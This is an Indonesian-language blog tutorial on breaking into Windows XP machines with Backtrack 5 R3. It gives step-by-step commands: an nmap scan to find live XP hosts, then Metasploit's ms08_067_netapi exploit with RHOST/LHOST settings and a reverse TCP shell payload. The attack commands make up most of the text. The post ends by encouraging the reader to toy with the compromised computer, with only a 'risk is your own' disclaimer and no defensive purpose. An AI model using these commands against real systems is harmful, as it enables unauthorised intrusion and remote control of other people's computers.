Cara Masuk System Windows XP dengan Backtrack 5 R3

Advertisement

Mungkin ini salah satu kelemahan yang ada di Windows Xp, yaitu masih bisa dibobolnya SO ini menggunakan tool-tool yang ada di Backtrack 5 R3.

Diantara yang bisa dilakukan menggunakan tool-tool yang ada di Backtrack ini adalah kita bisa masuk ke system dari Windows.

Pertama yang butuhkan adalah IP Address dari komputer target, kita bisa mengetahui IP Address yang ada di jaringan dengan menggunakan NMAP (Network Mapper) yang ada di Backtrack.
NMAP adalah program open source yang digunakan untuk mengeksplorasi jaringan, NMAP bisa digunakan untuk scanning host-host yang aktif dan mengetahui komputer tersebut bersistem operasi apa, mengetahui port-port yang terbuka, dll.
Baca juga tentang NMAP

Berikut step by step yang bisa dicoba.

• Buka terminal Backtrack, scan IP yang aktif yang aktif
  #nmap -vvvv -O [IP pertama - IP terakhir]
  ex: #nmap -vvvv -O 192.168.1.1-10
  (nmap akan melakukan scaning mulai dari ip 192.168.1.1 sampai 192.168.1.10)
  di gambar terlihat komputer dengan ip 192.168.1.10 sedang aktif menggunakan windows XP, dan bagian-bagian lain juga terlihat mulai macaddress sampai port-port yang terbuka

• Setelah mempunyai target ip yang aktif Windows XP buka msfconsole
  #msfconsole

• Cari exploit yang bisa digunakan
  #search netapi
  
  
  
  
• Misal gunakan exploit ms08_067_netapi
  #use exploit/windows/smb/ms08_067_netapi
  
  
  
  
  
• Set IP target
  #set RHOST [ip target]
  ex: #set RHOST 192.168.1.10
• Set IP attacker
  #set LHOST [ip attacker]
  ex: #set LHOST 192.168.1.87
• Set payload menggunakan shell
  #set payload windows/shell/reverse_tcp
  
  
  
• Mulai exploit, jika sukses kita akan masuk di system32
  #exploit
  
  
  
  

Cara ini menggunakan exploit yang memanfaatkan terbukanya port smb

yang terdapat pada windows. Dimana port smb di gunakan sebagai service sharring

folder, aplikasi dan device lainnya ( printer, scanner dll ).

Jika ingin ganti target tinggal merubah set target baru, set ip attacker, set payload shell kemudian exploit lagi.

Kalau sudah gini terserah mau diapakan komputer ini, kita kerjai juga boleh..
:D
Resiko ditanggung sendiri..
Semoga berhasil..

Artikel terkait :